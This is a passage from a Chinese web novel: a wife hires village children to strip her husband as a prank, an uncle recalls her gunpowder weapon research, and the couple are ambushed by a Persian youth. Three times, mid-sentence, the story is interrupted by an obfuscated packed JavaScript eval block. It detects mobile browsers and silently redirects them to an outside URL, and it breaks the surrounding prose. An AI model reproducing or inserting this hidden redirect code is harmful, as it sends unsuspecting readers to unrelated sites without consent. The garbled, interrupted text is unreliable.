其中年龄最大的男孩喊了一句,看着得有十四五岁,身后一堆复述他话的小的,最小的只有八九岁左右。 后煜还没等站起来,这群小孩就已经把他团团围住,叽叽喳喳地你一言我一语。 “把钱交出来我们就放你走。”“交钱!”“打劫,你最好识相点!” “……” 这里是边境,有人长波斯模样,就有人长混杂出来的模样,还有的完全是中原人。 后煜看着这一堆,眼花缭乱的。 波斯人无一例外的长得高,单看领头的这个,就不像个十四岁孩子。 他扛着农具,往后煜面前一杵,打量着看他,大有种不交钱就抽过来的架势。 后煜眨了眨眼。 干农活长大的孩子不比他力气小,这么好些凑过来,又胜在人多。 何况有些孩子手里还拿着家伙事,他的锄头被戚姮带走了,真打起来,胜算不大。 他慢慢站了起来,打算息事宁人。 可摸索了全身上下,一无所获。 后煜抿了抿唇:“没钱。” “没钱?!”领头男孩惊呼一声,挥手下令:“我不信,给我搜。” 他们一拥而上,后煜被抓着腿脚,几双手迅速搜过他能藏钱的袖口和腰间,果不其然,空空如也。 扭头对领头男孩说:“老大,真没有。” 他道:“一个铜板都没有?” “没有。” 他啐了一声:“真是个穷鬼。” 后煜:“……” 领头男孩摸着下巴,又下令:“那就,把他衣服扒了。” “什么?!”后煜陡然拔高音量,实在没想到还能这样。 底下小孩也真听他的,又是一堆手伸了过来,开始扒他衣裳。 “等等……!我让家里给你们送钱!”后煜刚要阻止,手就被三四个孩子拉住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537650|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “别脱我衣服啊?等一下!我再找找有没有钱……等一下!” 他还想挣扎一下,奈何小孩实在太多,七手八脚箍的很死,压根不听他说话。 领头男孩掏掏耳朵:“当我傻啊?真让你回家了你不得找人揍我们?” 后煜眼睁睁看着自己的衣裳离他而去,风一吹,缭乱的发丝扬起。 他站在原地,无尽的凄凉无助。 这几个小孩说坏吧,也不动手。纯打劫,只抢衣服,还好心给他留了条裤子。 说不坏吧,正常人也想不到抢这个。 他站在风中凌乱,眼见他们抢了件衣服就满意了,更是莫名其妙。 领头男孩放下狠话:“下次再让我碰见你,就不是衣服这么简单了。” 随即互相簇拥着扬长而去。 …… 戚姮一晚上都在后悔把他扔在那。 后煜不在,家里要她来做饭。做饭就算了,做好了没见他回来,还得出门把人请回去。 就多余跟他犟,他上辈子绝对是头驴。 戚姮刚走到,迎面撞见后煜抱着胳膊,失神地靠着树干,活受了很大打击似的。 待走近了一瞧,也就还剩条裤子了。 戚姮停在他面前,问:“你热啊?” 后煜听见熟悉的声音才仰起脸,动了动嘴唇,失魂落魄地:“我被抢劫了……我的衣服被抢走了。” “只有衣服?没有别的?” “没有……只抢了衣裳。” 戚姮险些笑出声来。 她绷着唇憋了很久,才勉强忍住。 “我都说了不要跟我无理取闹,外面坏人很多的。除了我,谁还对你那么好?谁还天天保护你?” “让你老是跟我置气,一生气还喜欢往外面跑,现在好了吧!遇上坏人被抢了。” 后煜还以为能听到几声安慰,闻言,双手缓缓捂上脸:“我被几个小孩给抢劫了。好丢脸啊。” 戚姮沉默片刻,过去薅他起来,他还是一个劲说丢脸,不愿意睁开眼睛。 “不丢脸,这的孩子比头牛都壮,打不过很正常。” 他果然好多了:“真的吗?” “真的真的。” 戚姮说:“但你下次再这样,遇见的可就不止孩子了。我没有吓唬你,万一劫匪找不到钱,恼羞成怒把你杀了怎么办?人命最不值钱了。” “可是,被大人抢也就抢了,连小孩都能跟我动手。”他又捂上了脸,“真的好丢脸啊。” “好了,好了。真不丢脸。寡不敌众嘛。” 戚姮亲了亲后煜的眉心,安慰了许久才勉强把他哄好:“以后还一个人在外面瞎晃悠吗?” 后煜攥着她的手,摇了摇头。 “就是,早这么乖不就好了。”戚姮拉着他回家,“走吧,不想这事了。大不了回家再换身衣裳。” 后煜老老实实跟着戚姮走上回去的路,歪头问:“你不帮我找他们算账吗。” “孩子而已,不计较了,反正你又没丢东西。” “噢……” · 半个时辰前。 “诶,小孩。” 戚姮刚做好饭出门,从后喊住了刚忙完农活、三两成群要回家的几个小男孩:“我跟你们商量件事,成不成。” 被她喊住的几个小孩面面相觑,互相看了半天,才倒退回来,试探地问:“什么?” 戚姮环着胳膊,神秘兮兮地:“多叫几个你们的小伙伴,去帮我抢劫个人。” “抢劫?”“抢劫!” 这几个小男孩瞬间炸开了,七嘴八舌地讨论起来,最大的那个被推出来,连忙摆手拒绝:“不行!抢劫被官抓了,要蹲大牢。” “给你钱。” 这次他答得飞快:“可以。” “什么?”“不是说好拒绝的吗?”“不行不行。” 戚姮又说:“谁去谁有钱。” 瞬间他们又改口了:“我要去!” 这几个小男孩又哗啦啦喊来了一大群孩子,戚姮粗略一扫,至少有十几个。 她组织好纪律,排好队,让他们挨个来领钱。 她拆开吊钱,一人给十个铜板。 这么些铜板足以抵这个小村子一家人一天的饭钱了,当零花绰绰有余。 “拿好了啊,丢了概不负责。” 戚姮边分边嘱咐:“等会我给你们指人,别打他,也别真抢他的东西,吓唬吓唬就行。就……把他衣裳扒了。” 最大的那个小男孩疑惑极了:“为啥啊?我第一次见到抢劫抢衣服的。” 戚姮分完钱,一声叹气,演起来了:“哎,其实。他是我家官人。天天在外面不务正业,晚上也不回去,害得我们孤儿寡母守着饭菜,迟迟等不到人。菜凉了都不回来!” “我就想吓唬吓唬他!天黑了让他赶紧回家,别在外头瞎晃悠。” 那男孩懵懂地点点头:“原来是这样……” “你们想想,你们能接受爹爹天天不回家,自己和娘孤零零守在饭桌,还非要等他回来才能吃饭的日子吗?” 他们对视一眼,齐刷刷摇头。 戚姮满意点头:“这就对了,帮姐姐个忙而已,这是好人好事呢。” “只要你们不打人,不真抢他的东西,就不会蹲大牢。” “待会呢,要先演演戏。不要一上来就扒他的衣服,先假装抢钱,但发现他没有钱……你们懂吧?你们这么聪明一定能听懂。” 他们又齐刷刷点头:“听得懂听得懂。” “去吧。”戚姮靠着树,指完方位后静等结果,“扒完了记得再来找我,还有奖励。” …… “扒完了!” 几个小男孩一起拿着衣裳在戚姮面前展示成果,她看过以后,的确是后煜身上那身。 脑中突然浮现出了后煜被抢的那个画面,笑了半天才掏出随身随身携带的糖块分出去,衣裳也让他们拿走了。 她刻意等了一会,才向后煜那里走去。 52. 并蒂双株【十】 “这些是我给小又缝的冬衣,过不几天就冷了,天气不便,也省得再进城定做。” 后煜坐在床边,将抱来的小孩衣物挨个叠好:“时间太紧,就只缝到了来年春天。” “这么多。” 解檀拿起一件仔细端详:“前几天我还在想,找我要布能干什么。原来你会绣花啊?” 后煜点头:“会一点。小时候学来挣些工钱。” 解檀眉毛一挑。 他活了这么几十年,见过的人不计其数,不是察觉不到后煜身上微妙的“孤僻”。 挡着脸,垂下眼,连身子都不站直。 贵到国公府这种级别的公子哥,即便生来沉默寡言,也绝不可能生出沾有市井气的自卑来。 果然还是有问题。 后煜浑然不觉,继续叠:“说多也不多。基本上母亲都会在孩子出生前将衣裳准备到成年,讨个能养活的好彩头。” “小又应该也有,但路上太赶,带不过来……我给他多做些好了。” “待他一岁,天就热了,那时再进城也方便。现在为他备好,省得突然降温,再着了凉。” 他喋喋不休地嘱咐起来,从这些衣裳分别是多大时该穿的,到赵又平日的习惯作息,事无巨细,罕见的话多了起来。 怎么说后煜也亲身照顾了三个月,寸步不离,一口一口喂到现在,说完全没感情也不现实。 “你这个针脚……”解檀眯眼观察半晌,突然默了下来,一言不发。 后煜抬起头:“是不行吗?” “嗯?不是。挺好的。” 解檀将手里这件慢慢叠好,缓缓开口:“我就是突然想起来,小草小时候看别人都绣花,非要学。结果就绣了两天,说累脖子,一抹全给扔了。” 后煜听完,浅笑了声:“拿得动刀的手拿不了绣花针,很正常。我绣就行。” “其实她,很擅长这些精细活,天赋很高,学什么都快。”解檀耸肩,“单纯热情过去了,再也想不起来了。” “她……经常爱一阵扔一阵吗。” “得看什么东西。”解檀不假思索道,“喜欢的一直死磕,要是没兴趣就只有一阵子。” 后煜眨了眨眼,思忖着问:“那她喜欢什么?” 这可问到解檀知道的领域了,“诶”了一声就道:“她喜欢搞研究。” 不是当官不是打仗,也没具体到人或物。 居然是搞研究。 后煜更好奇了:“搞研究?她研究什么呢?” “什么都研究,只要能靠算术算出来,就没有她不研究的。” 后煜问:“有具体的东西吗?” 解檀回想着,倚靠着门框慢慢说:“有。比如,她发现火药的传统使用方式太有局限性,想造一种武器,让火药能像刀剑一样拿在手里。” “就是投石机扔火球的原理。将火球变小塞进竹管,用某种力推动小火球发射出去,与射箭差不多。” “当时我都没听懂她想干什么,两年后,她把成品拿到了我面前。” 解檀比划着:“那东西很长,从竹管改成了铁管。铅做的弹丸从头塞进去,尾部放火药,引燃后,利用火药爆炸的冲击力发射出去。” “她给我演示了一遍,直接把靶子打穿了。普通射箭可比不了那玩意。” 后煜在脑中过了一遍,慢慢拆解解檀所说的流程,想通后有些不可思议:“这是怎么想到的。” 解檀摇摇头:“她自己研究的,我都听不懂。” “……” 涉及火药,稍有不慎容易适得其反。 本朝不是不缺用火药打仗却遭反噬的例子,大多都败于技术不够,亦或者了解不足,配比过高过低都会导致一系列的问题。 战场风云莫测,但凡凑巧下场雨,或者受了潮,精心准备的计划便也付之东流。 更别提她造出了一个完全没存在过的东西。 火药比例,铁管承受极限,弹丸重量与管径配比。每个环节都必须有一个精确严格的参数。 其精细程度,绣花的确比不了。 解檀寻思着:“诸如此类的还有很多,给江南水网建桥,监测天象星体,算出日月星辰。” “我还从没见过有孩子在算术上这么有天赋。” “当时繁英就跟戚砚商量,想让她直接去搞建设,但她不愿意,甩手不干了。没办法,才让她上了战场。” 后煜低下头,若有所思。 “那她曾经,没有什么喜欢的人吧?” “……”解檀突然停止了话头,抱着胳膊,好整以暇地看着他。 后煜问完就后悔了。 他这表情,根本就是看穿了。 后煜缓缓低下头,想用手捂上脸。 可算是知道戚姮那股子看透不说破,总让人有种羞耻感的劲是跟谁学的了。 “没有。”解檀也不逗他了,直截了当道,“上午学文下午学武,再一觉睡到天亮。接触最多的是笔和刀,还有枕头。” “不过……挺难的。” 后煜又缓缓抬起脸:“什么挺难?” 解檀思考着能不能说,触及到后煜懵懂的眼神,再综合考虑:反正都相处这么久了,对方什么脾性也该摸清楚了。 “想让她喜欢谁,挺难的。” 后煜一愣:“为什么?” 解檀说:“理想化。” “同情心太强,小到能见到的百姓,大到边境流离失所的难民,她全都想救。一人在她心里占据一点位置,慢慢就占满了。” “包括喜欢她的人,也被算在其中,不会因为认识久了,就让别人挤一挤,给‘他’腾出更大的位置。” “要不说真正的无情是大爱呢?对谁都一个样,那还是没有爱。” 解檀看着后煜沉默,总觉得说多了。 万一让小两口再因此吵架就不好了。 “呃。倒也没有那么绝对。” 他又找补起来:“有些人,就是无法言说的天作之合。” 后煜还是不说话。 他挠了挠头,实在不知道说什么了。 下一瞬,就听戚姮大手拍门,“砰”的一声,从外进来了:“啥时候弄完?东西我都收拾好了。” 解檀终于能把话锋转了过去:“你就这么着急走?不留下来陪我种地了?” “早知道会这样我早跑了。还给你种地?”戚姮愤愤道,“简直是苦力啊,我们两个五天种了八亩的地!实打实的八亩。” 解檀斜眼觑她:“你怎么不说你把我藏的钱全找出来揣你自己腰包里了。” “你的我的,有区别吗?” “找出来就算了,手脚这么利索居然不知道给你亲表弟买点东西回来,心这么大……你以后怎么当娘啊?” “当然是找一个跟你一样无怨无悔的男人替我养。” 戚姮走近,拍了拍后煜的肩膀:“这不就有一个。” 后煜坐在原地,未动。 解檀:“你是不是嘲讽我呢。” 戚姮:“有吗?你也太敏感了吧。” “……”解檀一噎,“你现在这德行,跟你姥姥一模一样。” “哪里一样?”戚姮好奇,“真的吗?隔代也能很像吗?” 解檀:“把孩子扔给痴痴等她回心转意的傻男情人养,来套牢这个免费苦力的性格一模一样。” 戚姮嘴角抽了抽:“……你这个人就是太较真了。” 解檀哼了声:“真是祖传的感情淡漠,精打细算,冷酷无情。” “非也非也,我娘就很在乎我。” “得了吧。”解檀驳了回去,“依我看,只有你舅舅还好点,能把四个孩子全都养大。” 戚姮思索:“四个?第四个是谁?” “赵璟的儿子,死前托孤给了他。” 戚姮呆住了:“他养赵璟的儿子都不想办法保自己的儿子?” 解檀摊手:“话不就又说回来了,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542091|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们家祖传这样。” 戚姮:“……” 赵繁英的确算是喜欢孩子的一个了。 戚姮也是前两天听解檀提起才知,她和赵元刚出生就被抱到了这里抚养。逢年过节,大事小事,赵繁英都要专门从宫中溜出来,赶来探望。 最开始,他虽有做舅舅的自觉,感情却比较淡薄。 直到两个侄女周岁生辰那天,才彻底改变了。 那天解檀还准备了一场抓周礼,赵繁英急急忙忙从王宫抽身,专门赶过来为她们两个过生辰。 绕着两个孩子摆着的东西琳琅满目,戚姮只坐着捣乱,用脚踢开,就是不选东西。 赵繁英来得急,口渴,到的第一时间先去喝了水。 原本还不配合的戚姮,在看到赵繁英时,从地上艰难地爬了起来,跌跌撞撞跑去,一把抱住了他的腿。 她梳着俩小辫,仰起脸,一直喊舅舅。 小姑娘紧紧抱着舅舅的一只腿,死活不肯松手。 在此之前赵繁英已经一个月没来过了,没人知道一个刚刚周岁的孩童是如何记住他的,又是什么时候学会的喊“舅舅”。 “就因为这,那天他到后半夜都没睡着,硬把我摇起来聊天。跟我说,他想带你娘出宫,带上你们两个找地方过日子,不进中原了。” “我没说不行,可他后来也没这么做。” “也能理解,明殊第一次体验这种血脉联系,就是你抱着他不放的时候。这对一个从没体会过亲情的小孩来说,很特别,脑子一热,就那么想了。” “所以他特别疼你,千万不要因为一点小事就故意不理他,他也会难过。你只要记住,哪怕是谋反他都不会杀你,其余随便你放开了怎么作都行。” “但他这点很不好。如果他养的这几个小孩真的有人谋乱,他会装看不见,给很多机会。直到剑架在脖子上才会下手……那时候还来得及吗?” 戚姮当时就想。 赵繁英对赵初就是这样。 明明知道赵初在筹谋他的皇位,却还是无底线纵容。 “收拾好了。”后煜最后一拍那一摞衣物,起身道,“走吧。” 这一声打断了戚姮的回想,她立马回过神,催促道:“走走走。这老头天天针对我,赶快走。” “城里物价不便宜,拿点钱走。”解檀揪住戚姮的领子,将她拽了回来,翻出提前备好的布袋,扔进了她手里。 戚姮打开一看,几锭金元宝差点闪瞎眼。 她满脸惊诧:“你把养老钱都给我了?” “你不是找我要工钱?这就是你种的那八亩地。” “这也太夸张了,你就种点地能存几毛钱……” 戚姮只想拿一个带走,紧接着听见他说:“这整个山头,所有地都是我的。在外我还有商铺,田宅,雇人打理。太子府覆灭前分出了五分之一的资产划到了我名下,所以没被抄走。你以为我就是个种地的啊?” 戚姮立刻面无表情地全拿走了:“不早说。” 解檀抬手驱赶:“走吧走吧。” 戚姮拿着钱走到门口,忽然扭头:“你有这么多钱还待在这啊,不回汴京了?” “不去。关系断绝几十年了,爹娘姊弟也都死了,现在我一个人都不认识,回去做什么?” 解檀不以为意:“姓赵的坟离这就几里路远,现在我随时能给她上炷香,要不然她真是个死在异乡的孤魂野鬼了。” “……”戚姮点头,“行吧。” 亲妹妹见过赵繁英为皇位不择手段的一面,于是嘱咐戚姮不要动任何抢皇位的心思。 将他养大的舅舅却把他看得更明白。 其实想抢皇位也没什么。 他有信心压得住,于是一而再,再而三地退让,试图挽救这稀少的几段亲缘关系。 帝王擅长把十分情表现成一分。 可戚姮感受到了十分。 那实际呢。 或许是百分,千分,万分。 53. 呼啸山雪【一】 波斯的国都,定在了苏撒。 苏撒称得上一句“千年古城”,其历史比汴京还有得看。自波斯建立之初,它就一直作为这个国家的政治中心而存在。 如若细细讲来,为什么波斯与苏撒能完整的延续千年而不灭,还要归咎于这里与中原大相径庭的政权。 波斯并不是独孤氏建立的新王朝。 它的初代掌权者,名叫约兰·米勒。 他四处征战,攻城略地,将还是一个小部落的波斯,逐步扩张至西北地区强盛的独立城邦,军事实力足以与周边各国分庭抗礼。 正式建国以后,约兰没有遵循中原的嫡长子继承制,更没有向西,学习他们差不多的长子制。 而是做了一项大胆的选择。 他把君王的选举标准,定为了民选制。 立贤或许无法平衡“贤”的标准,立长也有极大的可能会出现昏庸无道的君主,那么就统统推翻。 凡是年满二十岁的波斯子民,人人手中各有一票选举权。 由他们来选。 与燕朝、北凉那边比起来,波斯从最开始发展理念就不是“皇权至上”。 反而,更像个民主制国家。 约兰·米勒出身西边国家的奴隶家庭,西边的一系列政权是比中原还要霸道。因为父母是奴隶,他生下来便是奴隶。 自出生起就没被当成过人来看待。 约兰此生最痛恨阶级分明的皇权社会,侥幸逃到东边那片更为广阔的大陆,将四散的部落统一,规整秩序,终于在四十三岁建立起了新的国家。 他所做的第一件事,就是延续打天下时承诺的“平等原则”。 不行跪拜大礼,不学四书五经,不尊孔孟儒道。 更没有世家门阀、贵族贱民。 他建议事堂,将决策权分给每位官员。 保留君主之位,却非王权,类似于被选出的负责人。 平民供他优渥的物质生活,他就要负责运转起整个国家。 即便约兰·米勒已经尽力开创了那个时代独一份的制度,后来几任的君主还是在发展中被周边各国所影响,发生了大大小小的改革。 最终,他的一部分思想被保留,波斯的基本底色依旧自由、平等。 君主的选举,却被钉死在“父与子”。 王子十五岁拥有政治权利。 谁为国家出谋划策最多,谁最受百姓拥戴,谁真的为波斯做出了贡献,才能让民众选出合格的继任者。 选举的范围仅仅被局限在王子之间。 这就很容易出现王子们太过废物,挑不出继承人的弊端。 米勒家族存在了二百六十年,因无法阻挡当权者无能,而被推翻了旧政权。 就此覆灭。 但约兰·米勒为波斯平民植入了一种思想:平等与人权。 这种思想根深蒂固在每个国民心中,他们不接受任何形式的压迫,更不接受第二任掌权者上位将制度变回封建皇权。 但凡有一丝丝想要改变的苗头,就会迎来全国大范围的情绪爆发。 第一次抵抗时就被新君下令以“逆贼”罪论处,大批平民被拉去绞杀,以作震慑。 哪知越震越高亢,罢工游行接踵而至,四处都是抗议示威,民怨沸腾。甚至发展为每天都有人撞死在国家议事堂的大门,反对复辟封建帝制。 高层能把选举范围缩小至亲生子嗣,就已经是权衡之后能的最高限度了。但凡突破那个临界值都会引起大乱。 后期的米勒家族都知道不可能重新集皇权于一身,放弃了这想法。 突然来个人,上来就想当大王,让过得好好的老百姓回去当奴隶,哪有那么好的事? 这股风吹过波斯每个角落,最终以新君主被他身边的厨子给杀了落下帷幕。 后来又上任了一位,他吸取教训,继续延续米勒家族的治理模式。 于是,波斯还叫波斯,这是属于每个人的波斯,而不是某个君主的王朝。 政权就这样更迭了四代,国家版图越来越大,一直持续向中原扩张。 直到独孤氏的先祖,独孤复出现。 他原是鲜卑贵族后裔,一夜之间国灭家亡,年仅十二岁的独孤复与许多百姓一起向西北逃窜,逃去了波斯。 十七岁,他被当时的当权者所赏识,入朝做官。 二十五岁领兵打仗,首战告捷。 三十三岁,恰巧赶上波斯选举风波。 已经延续二百年的第四任政权走向衰落,三名候选者皆不顺人意。 独孤复抓住机会,奔走呼号,惹起了平民百姓再度想要换家族的念头。 他趁机摊开军功,一手伸向中央政权,展露政治手腕,在同一批待定的候选人中呼声最高。 顺利躲过几场刺杀后,将上一代斩草除根,有惊无险地登上权力巅峰。 二百年后,戚姮的亲娘以同样的方式剿灭了独孤氏,政权交替到第六任,贺兰氏。 彼时波斯的版图,已经远超建国时三倍不止。 · 去往苏撒最近的路,要横跨过一片沙漠。 四面黄沙,茫茫戈壁,一望无际。 但凡换个方向感差的,就被困在里面出不来了。 走进时是日薄西山,走出时依旧是暮色四合。 “以后的路就全靠我们摸索了。” 戚姮半蹲在河岸边,捧起溪水洗了一把脸。晒了两天的脸滚烫灼热,一碰,还有些被晒伤的刺痛。 面颊被刮上的一层风沙顺着水流滑落,她低头看着这条溪流,像极了打翻的青苹果汁,晶莹剔透。 溪水流过指缝,丝丝凉意顺着血管蔓延,抚平了半边身子的焦躁。 “我还从没见过淡青色的河。” 戚姮捻起河床淤积的白沙,端详片刻:“长得也太像盐了……真神奇。” 她扭过头,后煜此刻正趴在地上,整张脸都泡进了水里,咕噜咕噜冒着泡泡。 戚姮:“……” 等他泡舒坦了才从水里出来,抹掉脸上水珠,接上刚刚的话:“不是盐,这水不咸。” “……你上辈子是条鱼吧。” 戚姮没忍住笑了两声,越想越好笑,笑了好久:“怎么会有你这么傻的人。” 后煜爬起身,拍了拍衣服上的土,被打湿的刘海黏在颊边两侧,连睫毛都沾湿了几滴水珠。 “太热了,太晒了!我的脸晒得好痛。还有我的嘴,裂了个口子,都出血了。” 他扯着下唇让戚姮看:“是不是?我刚才泡一泡,就好多了。” 后煜咂摸嘴:“没有那么疼了。” “哎呦,这么严重啊。”戚姮顺着他的话哄道,“来,我看看。哎呀哎呀,太严重了!我给你吹吹。” 戚姮猝不及防就凑近了,捧着后煜的脸,视线盯着他的唇。 后煜眼睫迅速轻颤许多下,不好意思地扭捏起来:“这倒也……不用。” 他嘴上说不用,却也待在原地没动。 等了许久,见戚姮还没给他吹,忍不住抬眼偷瞄。 这一瞄,正好撞进她似笑非笑的眼底。 对视的刹那,后煜脸上的温度瞬间飙升:“你故意的!” 戚姮笑得不行:“哈哈哈……你也太好玩了!” “……”他的脸肉眼可见地变红,从脸涨到耳朵尖,恼怒地瞪向戚姮。 溪水叮咚,没他心脏跳得快。 “别瞪我啊,来来来亲一个。”戚姮搂上他的肩,轻啄了一下他的唇角。 “不要。”后煜歪着脑袋向后躲,“你太坏了,不许亲我。” 戚姮也不在乎,掰过他的脸继续赏吻。 后煜抵着她肩膀,丁点力气都不使,任由吻肆意落下。 舌尖舔舐过他的下唇,因为干裂而撕出的小口子被她反复啃咬,加重,疼得后煜表情都变了,可就是不推开她。 戚姮从腰间摸上脸颊,与他唇齿相依,缠绵着不分开。 直到后煜被亲得晕头转向,身子摇摇欲坠,倏地向后仰倒了过去。 她伸手垫住了后煜的脑袋,跟着压在他的身上,唇瓣蹭了几下,再度加深这个吻。 一支箭从正北飞来,箭翎划破微风,破空声精确地传进耳朵。 她向右一瞥,猛地出手抓住了羽箭。 这箭在距离后煜太阳穴仅一寸的地方定住,带来的风吹动了后煜几根发丝。 他转过脸,猝然与冰冷的箭尖相对。 “……!” 他的瞳孔瞬间紧缩成针,恐惧还没有占据大脑,戚姮就一把将他拉了起来,护在身后。 她抽出腰间佩剑,严阵以待。 戚姮手上这把剑,名“断水”,曾是大燕开国皇帝打天下时随身三剑之一。 仅仅只是开国皇帝过于迷恋李白,才为其取了这个名。 下一瞬,羽箭破空而至。 她握剑一挥便斩断了三支箭,干净利落,连步子都没迈几寸。 四周再度沉寂下来。 昏暗中视线受阻,只能听声辨位,起了些风,吹动了草叶沙沙。 戚姮脑中迅速过了一遍到底是谁会追到波斯刻意来搞暗杀,宁淮?李在溪? 不像,朝廷命官若无许可,不能擅自离开汴京半步。 难道是赵初? 也不像,他还不至于现在就撕破脸,闹到这种地步。 在她眉心越拧越紧之前,射箭之人从树后现身,缓步自远处走来。 戚姮眯起眼,粗略一扫。 只是一个陌生的波斯人。 走来的这小少年看着也就十六七岁,手上一把弓,背后箭筒已然空空如也,似是方才都打完了。 他穿着波斯最经典的服饰,上下简单两件白衣。 上衣遮到肋骨,坠哒哒地垂下,下衣是一片裙,一直拖到地。中间留有一圈腰腹还裸露着。 他的裤腰上戴着一圈金做的装饰,大小圆环相间。除此以外,颈间,手腕,皆有黄金饰物点缀。 “看这小子挺有钱啊……” 戚姮悄咪咪对身后道:“估计是咱俩闯进他的地盘了。” 后煜扒着她的肩膀,还对刚刚的事心有余悸:“那怎么办?要打架吗?” “我们正缺个引路的,好不容易碰见活人了,哪能打架?”戚姮说,“我去套个近乎,问问路。” 她让后煜躲到一边,轻咳两声,向前迈了几步:“那个……小弟弟,你听得懂中原话吗?” 那男孩走到离戚姮几步远的地方停下,直勾勾看着她,也不说话。 “听不懂?”戚姮自言自语了一句,回想着小时候解檀教过的波斯话,又问了一遍,“现在能听懂我说话了吗?” 这回他有了反应,张了张嘴,问道:“……你叫什么名字。” 戚姮想了想怎么说,半晌后,还是如实道:“我不是这里的人,不会说我的名字。” 他又向前走了几步,来到戚姮面前,眼珠动都没动。 突然,他飞快地在戚姮的脸颊亲了一口。 “……?”她戚姮瞬间呆住了,紧接着,他双手一捞,把她整个打横抱了起来。 “!!” 这把戚姮吓得不轻,抬腿刚要踹过去,就听他道:“我会把你从前的孩子都接过来,你愿意改嫁给我吗?” “???” 戚姮被震撼到无以复加,连挣脱都忘了,兀自消化起了他这句话。 波斯民风开放,并无贞操守则,婚前寻找适龄心仪的异性,多发展几段感情是常事。 且流行奉子成婚,为此专门出台极其严苛的律法,详细规定了男男女女之间的婚嫁标准。 一个女人如若已经婚嫁,多半有过身孕,生过孩子了。 听他这意思,刚才应该偷看了不少。 戚姮嘴角忽地一抽。 再抬眼,面前掠过一阵闪动的黑影。 戚姮眼睁睁看着石头飞来,差点砸中这个小男孩的后脑勺之际被他敏锐地给躲开。 后煜扑了个空,向旁边踉跄两步才勉强站稳。石头重重落在地上,登时四分五裂。 他望向看呆了的戚姮,低下头又瞧着自己的手:“……怎么没砸中。” 男孩的脸色顿时沉了下来,看着后煜的眸子充满了敌意。 “你这个前夫好烦人。” 后煜怕得要死,第一时间跑去再捡石头。但男孩的动作更快,瞬间来到他的面前,上去就是一脚—— 后煜从小挨打就挨了,只能受着,也没练出什么反应力。腿软心慌大过闪躲的本能,他不自觉跌坐在地,下意识捂住脑袋。 预想中的疼痛没有到来,反倒凭空响起一声重物落地的闷哼。 后煜缓缓放下手,呆呆地看着戚姮将那男孩抵在了地上,双手反剪身后,稍一用力便卸了他一只胳膊。 “我什么时候说他是前夫了。” 戚姮蹲在地上,拍了拍他的脸:“就是八婚,也轮不到你。” 男孩额上冷汗“唰”地就下来了,他白着一张脸,在地上挣扎了几下:“胳膊。我的胳膊……” 越挣扎,拧他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549626|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手就越用力,一用力,脱臼的胳膊就更疼了。 “我错了,姐姐。”男孩连忙服软:“松松手好不好,我要死了……” 后煜连滚带爬地跑到戚姮身后,用袖口给她擦了好几遍脸,指着地上拱火:“打他打他!他竟敢非礼你!” 他说着,上手打了好几拳,打完还不解气,提起衣摆踢了一脚。 “你有病啊?”这男孩飙出了一句中原话,“我都没打到你!你凭什么打我!” 后煜一滞,又躲远了点:“他会说话?” “这边是附属国,中原话是第二语言,从小就要学,这小子刚刚跟我装呢。” 戚姮拨弄了几下他的衣裳:“一男的,穿真骚气。” 这衣服露胳膊露肚子露背,稍一动作,腿也露出来了,除了看不见屁股真不知道穿来干吗的。 戚姮将眼神移到后煜身上。 后煜张了张嘴,莫名读懂了她的意思:“……我不穿。” 戚姮叹了声。 没劲。 “放开我!放开!” 这小男孩像条垂死挣扎的鱼,疯狂扑棱两只腿:“我的军队就在这里!现在放我走,我就不追究你们的责任了。” “军队?”戚姮挑了挑眉,“小子,你很有能耐喽?” “当然。”他扑腾累了,喘息着看向戚姮,“你跟我走,不比跟他那个废物强?” “你在我眼里不也就是个废物。”戚姮一脚给他踹远了些,滚了好几圈才停住。 他捂着肩头爬起来,硬给自己把胳膊装了回去,“咔哒”,剧痛瞬间传过四肢百骸。 那阵过去之后,他才缓了过来。 男孩看向戚姮,一改方才求饶的态度,炙热的目光黏在戚姮脸上舍不得挪开,眼底征服欲更深。 他故意用中原话,后煜也能听懂的语言说:“我就喜欢你这样的。等着。你早晚是我的。” 戚姮还没来得及开口,“哗啦”,剑就被抽走了。 “我杀了你!” 后煜双手握着剑柄就要冲过去,火气蹭蹭往上窜,刚刚迈出去半步就被戚姮拽了回来。 戚姮把剑拿了过来:“能打得过吗你就上?” “我……” 眼见此行此景,男孩的笑容更深了些,问戚姮:“你是在向着我吗?” 后煜再不犹豫了,脸色一变,还要抢剑:“那我也要杀了他!” 戚姮把剑藏在身后,后煜一点也挨不到,急得想哭,推着她的肩往那边去:“你去杀!你杀了他好不好?他挑衅我!” “……不要动辄打打杀杀,我们还得问路呢。” 戚姮伸手:“去,把包里带的绳子给我拿来。” 后煜跺着脚走了,留下一个怨气极重的背影。 